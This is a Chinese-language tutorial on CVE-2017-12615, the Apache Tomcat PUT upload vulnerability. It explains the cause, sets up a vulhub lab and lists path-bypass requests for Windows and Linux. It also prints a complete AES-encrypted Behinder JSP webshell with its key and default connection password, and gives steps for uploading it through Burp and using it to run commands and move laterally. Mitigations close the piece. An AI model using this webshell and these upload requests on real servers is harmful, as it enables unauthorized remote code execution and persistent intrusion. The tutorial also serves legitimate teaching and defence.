1. 漏洞背景与原理剖析
CVE-2017-12615是Apache Tomcat服务器中一个经典的配置型漏洞,它的核心问题出在web.xml配置文件中的readonly参数。这个参数本意是控制是否允许HTTP PUT和DELETE方法,默认值为true(禁止写入操作)。但当管理员手动将其设置为false时,就会为攻击者打开一扇危险的大门。
漏洞触发机制可以这样理解:Tomcat处理请求时,会根据文件后缀决定由哪个Servlet处理。对于.jsp/.jspx文件会交给JspServlet处理,而其他静态文件则由DefaultServlet处理。关键点在于:
- JspServlet不支持PUT方法
- DefaultServlet支持PUT方法但会检查文件后缀
攻击者通过精心构造的请求路径(如添加/或%20),让Tomcat误认为不是.jsp文件而交给DefaultServlet处理,最终却能在服务器上生成可执行的jsp文件。这就好比快递员把危险品伪装成普通包裹,绕过了安检机制。
2. 环境搭建与漏洞验证
2.1 实验环境准备
我建议使用Docker快速搭建漏洞环境,这是最安全便捷的方式:
# 拉取vulhub漏洞环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/tomcat/CVE-2017-12615 docker-compose up -d如果要在Windows物理机复现,需要特别注意:
- 下载Tomcat 7.0.79版本
- 修改conf/web.xml,在DefaultServlet配置段添加:
<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>2.2 基础漏洞验证
使用curl发送PUT请求测试:
curl -X PUT -d "test" http://target:8080/test.txt如果返回HTTP 201状态码,说明文件上传成功。这是漏洞存在的初步证据。
3. 绕过技巧实战演示
3.1 Windows环境下的花式绕过
在Windows平台,利用文件系统特性可以实现多种绕过:
- 斜杠绕过(最经典):
PUT /shell.jsp/ HTTP/1.1 Host: target:8080 Content-Type: text/plain Content-Length: 25 <% out.println("hello"); %>- 空格绕过(%20会被自动去除):
PUT /shell.jsp%20 HTTP/1.1- NTFS数据流绕过:
PUT /shell.jsp::$DATA HTTP/1.1- 大小写混淆:
PUT /shell.JsP HTTP/1.1我在实际测试中发现,不同Tomcat版本对这些绕过的检测严格程度不同。7.0.79版本对大小写绕过检测较为严格,但斜杠绕过始终有效。
3.2 Linux环境下的绕过
Linux环境下绕过方式相对有限,主要依靠路径解析特性:
- 斜杠绕过(同样有效):
PUT /shell.jsp/ HTTP/1.1- 双重扩展名(部分版本有效):
PUT /shell.jsp.txt HTTP/1.14. 攻击链完整演示
4.1 制作JSP Webshell
推荐使用冰蝎的jsp马,特点是加密通信、功能全面:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%> <%if (request.getMethod().equals("POST")){ String k="e45e329feb5d925b"; session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>4.2 使用BurpSuite上传
- 拦截任意GET请求,右键发送到Repeater
- 修改请求方法为PUT
- 设置路径为
/shell.jsp/ - 将上述jsp代码放入请求体
- 发送请求,确认返回201状态码
4.3 权限获取与维持
上传成功后,使用冰蝎客户端连接:
- 设置URL为
http://target:8080/shell.jsp - 默认连接密码
rebeyond - 成功连接后可执行命令、上传下载文件等
我曾在一个真实测试案例中发现,通过这个漏洞不仅能获取web权限,还能利用Tomcat的运行权限(通常是system/root)读取敏感配置文件,进一步横向移动。
5. 防御方案与最佳实践
5.1 临时缓解措施
- 修改web.xml配置:
<init-param> <param-name>readonly</param-name> <param-value>true</param-value> </init-param>- 禁用PUT方法(可能影响业务):
<security-constraint> <web-resource-collection> <url-pattern>/*</url-pattern> <http-method-omission>GET</http-method-omission> <http-method-omission>POST</http-method-omission> <http-method-omission>HEAD</http-method-omission> </web-resource-collection> <auth-constraint></auth-constraint> </security-constraint>5.2 根本解决方案
- 升级到Tomcat 7.0.81+版本,官方已修复此漏洞
- 定期进行配置审计,使用工具检查web.xml安全性
5.3 监控与检测
建议在服务器部署以下监控措施:
- 监控webapps目录下jsp文件的创建
- 审计PUT方法的访问日志
- 使用WAF拦截异常的PUT请求
我在企业环境中曾通过日志分析发现过攻击尝试,攻击者平均每5分钟就会扫描一次PUT漏洞,足见这个漏洞的流行程度。